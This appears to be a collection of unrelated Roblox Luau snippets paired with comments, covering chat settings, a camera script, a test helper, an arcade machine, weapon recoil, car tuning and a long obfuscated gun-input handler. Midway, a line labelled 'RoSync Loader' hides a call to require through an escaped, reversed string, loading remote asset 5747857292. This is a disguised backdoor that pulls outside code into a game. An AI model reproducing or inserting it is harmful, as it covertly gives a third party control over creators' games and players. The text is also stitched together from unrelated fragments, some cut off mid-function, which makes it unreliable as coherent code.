module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultChatColor = Color3.fromRGB(200, 200, 200)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.new(0, 0, 0)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.new(0, 0, 0)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)
module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)
module.DefaultPrefix = ""
module.DefaultPrefixColor = Color3.fromRGB(255,255,255)
|
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- |
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
local runService = game:GetService("RunService")
local input = game:GetService("UserInputService")
local players = game:GetService("Players")
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson
CanViewBody = true -- whether you see your body
Sensitivity = 0.2 -- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05 -- recommend anything between 0~1
FieldOfView = 90 -- fov
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local humanoidpart = character.HumanoidRootPart
local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0
local running = true
local freemouse = false
|
-- Put this script in StarterPack or StarterGui |
Player = game.Players.LocalPlayer
repeat
wait()
until Player.Character
Mouser = Player:GetMouse()
name = Player.Name
char = game.Workspace[Player.Name]
Animation = script.Anim
animtrack = char.Humanoid:LoadAnimation(Animation)
Mouser.KeyDown:connect(function(key)
if key == "c" then
animtrack:Play()
char.Humanoid.WalkSpeed = 8
end
end)
Mouser.KeyUp:connect(function(key)
if key == "c" then
script.Disabled = true
animtrack:Stop()
char.Humanoid.WalkSpeed = 14
script.Disabled = false
end
end)
|
--[[
A utility used to assert that two objects are value-equal recursively. It
outputs fairly nicely formatted messages to help diagnose why two objects
would be different.
This should only be used in tests.
]] |
local function deepEqual(a, b)
if typeof(a) ~= typeof(b) then
local message = ("{1} is of type %s, but {2} is of type %s"):format(typeof(a), typeof(b))
return false, message
end
if typeof(a) == "table" then
local visitedKeys = {}
for key, value in pairs(a) do
visitedKeys[key] = true
local success, innerMessage = deepEqual(value, b[key])
if not success then
local message = innerMessage
:gsub("{1}", ("{1}[%s]"):format(tostring(key)))
:gsub("{2}", ("{2}[%s]"):format(tostring(key)))
return false, message
end
end
for key, value in pairs(b) do
if not visitedKeys[key] then
local success, innerMessage = deepEqual(value, a[key])
if not success then
local message = innerMessage
:gsub("{1}", ("{1}[%s]"):format(tostring(key)))
:gsub("{2}", ("{2}[%s]"):format(tostring(key)))
return false, message
end
end
end
return true
end
if a == b then
return true
end
local message = "{1} ~= {2}"
return false, message
end
local function assertDeepEqual(a, b)
local success, innerMessageTemplate = deepEqual(a, b)
if not success then
local innerMessage = innerMessageTemplate:gsub("{1}", "first"):gsub("{2}", "second")
local message = ("Values were not deep-equal.\n%s"):format(innerMessage)
error(message, 2)
end
end
return assertDeepEqual
|
-- OBJECT DIRECTORY |
local machine = script.Parent
local jackpotValues = machine.JackpotValues
local lights = machine.Lights
local lights2 = machine.Lights2
local ticketValues = machine.TicketValues
local arm = machine.Arm
local button = machine.StopButton
local isSpinning = false
local zone = {5,4,3,1,2,3,4,5,5,4,3,1,2,3,4,5}
local lzone = {6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5,6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5}
local active = false
local index = 1
wait()
machine.CreditsDisp.Value.Value = 0
for _,a in pairs(jackpotValues:GetChildren()) do a.SurfaceGui.TextLabel.Text = values[6] end
for i = 1, 16 do ticketValues[tostring(i)].SurfaceGui.TextLabel.Text = values[zone[i]] end
function start()
machine.CreditsDisp.Value.Value = machine.Credits.Value
if not active and machine.Credits.Value > 0 then
active = true
isSpinning = false
arm.ClickDetector.MaxActivationDistance = 10
machine.Timer.Value.Value = 20
machine.Timer.Disabled = false
end
end
function clickArm(plr)
if plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value then
isSpinning = true
button.LeverPull.TimePosition = 1
button.LeverPull:Play()
machine.Timer.Disabled = true
machine.Timer.Value.Value = 0
arm.ClickDetector.MaxActivationDistance = 0
arm.HingeConstraint.TargetAngle = 50
wait(0.5)
arm.HingeConstraint.TargetAngle = 0
wait(0.5)
for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.Neon end
button.Click:Play()
button.Material = Enum.Material.Neon
machine.Timer.Value.Value = 20
machine.Timer.Disabled = false
index = 0
repeat
index = index + 1
if index == 35 then index = 1 end
lights[tostring(index)].Material = Enum.Material.Neon
wait(wheelSpeed)
if button.Material == Enum.Material.Neon then lights[tostring(index)].Material = Enum.Material.SmoothPlastic end
until button.Material == Enum.Material.SmoothPlastic
end
end
function clickButton(plr)
if button.Material == Enum.Material.Neon and (plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value) then
button.Click:Stop()
machine.Timer.Disabled = true
machine.Timer.Value.Value = 0
button.Material = Enum.Material.SmoothPlastic
for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
if lzone[index] == 6 then
local r = math.random(1, jpChance)
if r ~= 1 then
lights[tostring(index)].Material = Enum.Material.SmoothPlastic
index = index + 1
end
end
ticketOut(values[lzone[index]])
if lzone[index] == 6 then
button.Bell:Play()
button.JPMusic.TimePosition = 0.5
button.JPMusic:Play()
for i = 1, 12 do
lights[tostring(index)].Material = Enum.Material.Neon
wait(.5)
for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.Neon end
for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
wait(.5)
for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.Neon end
end
for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end
button.JPMusic:Stop()
else
button.Win:Play()
for i = 1, 8 do
lights[tostring(index)].Material = Enum.Material.Neon
wait(0.5)
lights[tostring(index)].Material = Enum.Material.SmoothPlastic
wait(0.5)
end
end
active = false
machine.Credits.Value = machine.Credits.Value - 1
end
end
machine.Timer.Changed:connect(function()
if machine.Timer.Value.Value == 0 and not machine.Timer.Disabled then
if isSpinning then clickButton(1) else clickArm(1) end
end
end)
arm.ClickDetector.MouseClick:connect(clickArm)
button.ClickDetector.MouseClick:connect(clickButton)
machine.Credits.Changed:connect(start)
function ticketOut(tix)
machine.CardReader.GameInfo.TicketsWon.Value = machine.CardReader.GameInfo.TicketsWon.Value + tix
end
|
------------------------------------------- |
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,1,0.6) * CFrame.fromEulerAnglesXYZ(math.rad(90),0.1,0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2 |
--[=[
@within Gamepad
@prop Disconnected Signal
@readonly
Fires when the gamepad is disconnected. This will _not_ fire if the
active gamepad is switched. To detect switching to different
active gamepads, use the `GamepadChanged` signal.
There is also a `gamepad:IsConnected()` method.
```lua
gamepad.Disconnected:Connect(function()
print("Disconnected")
end)
```
]=] | |
-- Tags -- |
local pantsId = script.Parent.Parent.Pants.PantsTemplate
local shirtId = script.Parent.Parent.Shirt.ShirtTemplate
local cPart = script.Parent
local cDetector = script.Parent.ClickDetector
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {9,13} --- Vertical Recoil
,HRecoil = {5,7} --- Horizontal Recoil
,AimRecover = .7 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.55 --- Vertical Punch
,HPunchBase = 1.75 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 2 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .3
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 0.56 --- Min bullet spread value | Studs
,MaxSpread = 36 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs |
-- you don't have to change these if you chose auto setup
-- put these to true if you have these plugins in your car, otherwise leave them as false |
smoke = false
backfire = true
horn = true
brakewhistle = false
ignition = false
audioname = "Start" -- the name of your startup audio (defaults as "Start") (only works with ignition on)
|
-- This will inject all types into this context. |
local TypeDefs = require(script.TypeDefinitions)
type CanPierceFunction = TypeDefs.CanPierceFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
|
-- коллекция мишеней |
local targets = game.Workspace.Targets
|
-- Events |
local Events = ReplicatedStorage.Events
local NewPlayer = Events.NewPlayer
|
-- ROBLOX deviation START: package not available using local implementation
-- local util = require(Packages.util) |
local format = require(script.Parent.format) |
--[=[
@function last
@within Array
@param array {T} -- The array to get the last element of.
@return T -- The last element of the array.
Gets the last element of the array.
```lua
local array = { 1, 2, 3 }
local value = Last(array) -- 3
```
]=] |
local function last<T>(array: { T }): T
return At(array, 0)
end
return last
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 12.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 8.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
--[[ 7 ]] 0.61 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--This script uses the Touched event on the parent part to detect when another object collides with it.
--When that happens, it looks for a Humanoid object in the parent of the colliding object.
--If it finds one, it calls the TakeDamage method on the Humanoid object, passing in the value of its MaxHealth property to kill the player. | |
-- Ring4 ascending |
for l = 1,#lifts4 do
if (lifts4[l].className == "Part") then
lifts4[l].BodyPosition.position = Vector3.new((lifts4[l].BodyPosition.position.x),(lifts4[l].BodyPosition.position.y+6),(lifts4[l].BodyPosition.position.z))
end
end
wait(0.1)
for p = 1,#parts4 do
parts4[p].CanCollide = true
end
wait(0.5)
|
--[[ Last synced 10/14/2020 09:41 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- EDIT THE TEXTS. |
Content.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW Content.
Content.Content2.Content.Text = "Content"
Content.Content3.Content.Text = "Content"
Content.Content4.Content.Text = "Content"
Content.Content5.Content.Text = "Content"
Content.Content6.Content.Text = "Content"
Content.Content7.Content.Text = "Content"
Content.Content8.Content.Text = "Content"
Content.Content9.Content.Text = "Content"
Content.Content10.Content.Text = "Content"
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Killer void" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--// Input Connections |
L_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2)
if not L_315_arg2 and L_15_ then
if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then
if not L_64_ then
if not L_65_ then
if L_24_.TacticalModeEnabled then
L_154_ = 0.015
L_155_ = 7
L_3_:WaitForChild("Humanoid").WalkSpeed = 7
else
L_155_ = 10
L_154_ = 0.008
L_3_:WaitForChild("Humanoid").WalkSpeed = 10
end
end
if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then
L_97_ = L_50_
end
L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p
L_115_:FireServer(true)
L_64_ = true
end
end;
if L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then
L_134_ = CFrame.Angles(0, 0, 0.1)
end;
if L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then
L_134_ = CFrame.Angles(0, 0, -0.1)
end;
if L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then
L_80_ = true
L_82_ = false
L_81_ = true
LeanRight()
end
if L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then
L_80_ = true
L_81_ = false
L_82_ = true
LeanLeft()
end
if L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then
if not L_64_ then
if not L_65_ then
L_3_.Humanoid.WalkSpeed = 10
L_155_ = 10
L_154_ = 0.008
end
L_97_ = L_50_
L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p
L_115_:FireServer(true)
L_64_ = true
end
end;
if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then
L_68_ = true
if not Shooting and L_15_ and not L_83_ then
if L_103_ > 0 then
Shoot()
end
elseif not Shooting and L_15_ and L_83_ then
if L_105_ > 0 then
Shoot()
end
end
end;
if L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then
local L_316_ = L_1_:FindFirstChild("LaserLight")
L_122_.KeyDown[1].Plugin()
end;
if L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then
local L_317_ = L_1_:FindFirstChild("FlashLight"):FindFirstChild('Light')
local L_318_ = false
L_317_.Enabled = not L_317_.Enabled
end;
if L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then
L_70_ = true
if L_92_ == 1 then
if Shooting then
Shooting = false
end
if L_24_.AutoEnabled then
L_92_ = 2
L_83_ = false
L_69_ = L_84_
elseif not L_24_.AutoEnabled and L_24_.BurstEnabled then
L_92_ = 3
L_83_ = false
L_69_ = L_84_
elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then
L_92_ = 4
L_83_ = false
L_69_ = L_84_
elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then
L_92_ = 6
L_83_ = true
L_84_ = L_69_
L_69_ = L_85_
elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then
L_92_ = 1
L_83_ = false
L_69_ = L_84_
end
elseif L_92_ == 2 then
if Shooting then
Shooting = false
end
if L_24_.BurstEnabled then
L_92_ = 3
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BurstEnabled and L_24_.BoltAction then
L_92_ = 4
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then
L_92_ = 6
L_83_ = true
L_84_ = L_69_
L_69_ = L_85_
elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
L_92_ = 1
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then
L_92_ = 2
L_83_ = false
L_69_ = L_84_
end
elseif L_92_ == 3 then
if Shooting then
Shooting = false
end
if L_24_.BoltAction then
L_92_ = 4
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then
L_92_ = 6
L_83_ = true
L_84_ = L_69_
L_69_ = L_85_
elseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
L_92_ = 1
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then
L_92_ = 2
L_83_ = false
L_69_ = L_84_
elseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then
L_92_ = 3
L_83_ = false
L_69_ = L_84_
end
elseif L_92_ == 4 then
if Shooting then
Shooting = false
end
if L_24_.ExplosiveEnabled then
L_92_ = 6
L_83_ = true
L_84_ = L_69_
L_69_ = L_85_
elseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then
L_92_ = 1
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then
L_92_ = 2
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then
L_92_ = 3
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then
L_92_ = 4
L_83_ = false
L_69_ = L_84_
end
elseif L_92_ == 6 then
if Shooting then
Shooting = false
end
L_85_ = L_69_
if L_24_.SemiEnabled then
L_92_ = 1
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then
L_92_ = 2
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then
L_92_ = 3
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then
L_92_ = 4
L_83_ = false
L_69_ = L_84_
elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then
L_92_ = 6
L_83_ = true
L_84_ = L_69_
L_69_ = L_85_
end
end
UpdateAmmo()
FireModeAnim()
IdleAnim()
L_70_ = false
end;
if L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then
if not L_73_ and not L_74_ then
L_74_ = true
Shooting = false
L_69_ = false
L_135_ = time()
delay(0.6, function()
if L_103_ ~= L_24_.Ammo and L_103_ > 0 then
CreateShell()
end
end)
BoltBackAnim()
L_73_ = true
elseif L_73_ and L_74_ then
BoltForwardAnim()
Shooting = false
L_69_ = true
if L_103_ ~= L_24_.Ammo and L_103_ > 0 then
L_103_ = L_103_ - 1
elseif L_103_ >= L_24_.Ammo then
L_69_ = true
end
L_73_ = false
L_74_ = false
IdleAnim()
L_75_ = false
end
UpdateAmmo()
end;
if L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then
L_71_ = true
if L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then
Shooting = false
L_64_ = false
L_67_ = true
delay(0, function()
if L_67_ and not L_66_ then
L_64_ = false
L_72_ = true
end
end)
L_97_ = 80
if L_24_.TacticalModeEnabled then
L_154_ = 0.4
L_155_ = 16
else
L_155_ = L_24_.SprintSpeed
L_154_ = 0.4
end
L_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed
end
end;
if L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then
if not L_83_ then
if L_104_ > 0 and L_103_ < L_24_.Ammo then
Shooting = false
L_66_ = true
for L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do
if L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then
if (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then
if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then
L_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)])
end
end
end
end
BoltBackAnim()
ReloadAnim()
BoltForwardAnim()
IdleAnim()
L_69_ = true
if L_103_ <= 0 then
if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then
L_103_ = L_103_ + L_104_
L_104_ = 0
else
L_104_ = L_104_ - (L_24_.Ammo - L_103_)
L_103_ = L_24_.Ammo
end
elseif L_103_ > 0 then
if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then
L_103_ = L_103_ + L_104_ + 0
L_104_ = 0
else
L_104_ = L_104_ - (L_24_.Ammo - L_103_)
L_103_ = L_24_.Ammo + 0
end
end
L_66_ = false
if not L_75_ then
L_69_ = true
end
end;
elseif L_83_ then
if L_105_ > 0 then
Shooting = false
L_66_ = true
nadeReload()
IdleAnim()
L_66_ = false
L_69_ = true
end
end;
UpdateAmmo()
end;
if L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then
if (L_51_ < 1) then
L_51_ = L_51_ + L_24_.SensitivityIncrement
end
end
if L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then
if (L_51_ > 0.1) then
L_51_ = L_51_ - L_24_.SensitivityIncrement
end
end
if L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild("AimPart2") then
if not L_86_ then
L_56_ = L_1_:WaitForChild("AimPart2")
L_50_ = L_24_.CycleAimZoom
if L_64_ then
L_97_ = L_24_.CycleAimZoom
end
L_86_ = true
else
L_56_ = L_1_:FindFirstChild("AimPart")
L_50_ = L_24_.AimZoom
if L_64_ then
L_97_ = L_24_.AimZoom
end
L_86_ = false
end;
end;
if L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then
if not L_77_ then
L_77_ = true
InspectAnim()
IdleAnim()
L_77_ = false
end
end;
if L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then
if L_15_ then
if not L_78_ then
L_67_ = false
L_64_ = false
L_69_ = false
L_78_ = true
AttachAnim()
elseif L_78_ then
L_67_ = false
L_64_ = false
L_69_ = true
L_78_ = false
IdleAnim()
end
end
end;
if L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then
if not L_79_ then
L_79_ = true
L_14_:Create(L_45_, TweenInfo.new(0.2), {
C1 = L_24_.SprintPos
}):Play()
wait(0.2)
L_112_:FireServer("Patrol", L_24_.SprintPos)
else
L_79_ = false
L_14_:Create(L_45_, TweenInfo.new(0.2), {
C1 = CFrame.new()
}):Play()
wait(0.2)
L_112_:FireServer("Unpatrol")
end
end;
end
end)
L_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2)
if not L_322_arg2 and L_15_ then
if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then
if L_64_ then
if not L_65_ then
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
if L_24_.TacticalModeEnabled then
L_154_ = 0.09
L_155_ = 11
else
L_154_ = .2
L_155_ = 17
end
end
L_97_ = 70
L_133_.target = Vector3.new()
L_115_:FireServer(false)
L_64_ = false
end
end;
if L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then
L_134_ = CFrame.Angles(0, 0, 0)
end;
if L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then
L_134_ = CFrame.Angles(0, 0, 0)
end;
if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then
Unlean()
L_80_ = false
L_82_ = false
L_81_ = false
end
if L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then
Unlean()
L_80_ = false
L_82_ = false
L_81_ = false
end
if L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then
if L_64_ then
if not L_65_ then
L_3_.Humanoid.WalkSpeed = 16
L_155_ = 17
L_154_ = .25
end
L_97_ = 70
L_133_.target = Vector3.new()
L_115_:FireServer(false)
L_64_ = false
end
end;
if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then
L_68_ = false
if Shooting then
Shooting = false
end
end;
if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then
local L_323_ = L_42_:WaitForChild('GameGui')
if L_16_ then
L_323_:WaitForChild('AmmoFrame').Visible = false
L_16_ = false
end
end;
if L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT
L_71_ = false
if L_67_ and not L_64_ and not Shooting and not L_71_ then
L_67_ = false
L_72_ = false
L_97_ = 70
L_3_.Humanoid.WalkSpeed = 16
if L_24_.TacticalModeEnabled then
L_154_ = 0.09
L_155_ = 11
else
L_154_ = .2
L_155_ = 17
end
end
end;
end
end)
L_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2)
if not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then
if L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then
if L_324_arg1.Position.Z == 1 and (L_51_ < 1) then
L_51_ = L_51_ + L_24_.SensitivityIncrement
elseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then
L_51_ = L_51_ - L_24_.SensitivityIncrement
end
end
end
end)
L_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2)
if not L_327_arg2 and L_15_ then
local L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList);
if L_328_ then
local L_330_ = (L_329_ - L_6_.Position).magnitude
L_33_.Text = math.ceil(L_330_) .. ' m'
end
end
end)
|
-- /**
-- * The data structure representing a diff is an array of tuples:
-- * [[DIFF_DELETE, 'Hello'], [DIFF_INSERT, 'Goodbye'], [DIFF_EQUAL, ' world.']]
-- * which means: delete 'Hello', add 'Goodbye' and keep ' world.'
-- */ |
local DIFF_DELETE = -1
local DIFF_INSERT = 1
local DIFF_EQUAL = 0
|
--[[/Static functions]] |
GunObject:Initialize()
--[[ ]]
|
--ScanForPoint() |
hum.MoveToFinished:connect(function()
anims["Walk"]:Stop()
if enRoute then
enRoute = false
end
end)
local movementCoroutine = coroutine.wrap(function()
while true do
if target then
local sessionLock = lastLock
if targetType == "Player" then
while target and lastLock == sessionLock do
if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then
local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude
if dist < 5 then |
--// Recoil Settings |
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
camrecoil = 4.10; -- How much the camera flicks when not aiming
AimGunRecoil = -0.8; -- How much the gun recoils backwards when aiming
AimCamRecoil = 2.55; -- How much the camera flicks when aiming
CamShake = 1.2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 1.2; -- THIS IS ALSO NEW!!!!
Kickback = 1.8; -- Upward gun rotation when not aiming
AimKickback = 1.7; -- Upward gun rotation when aiming
|
------------------------- |
function onClicked()
R.Function1.Disabled = true
FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true
FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true
FX.GATE.BrickColor = BrickColor.new("CGA brown")
FX.GATE.loop.Disabled = true
FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true
FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true
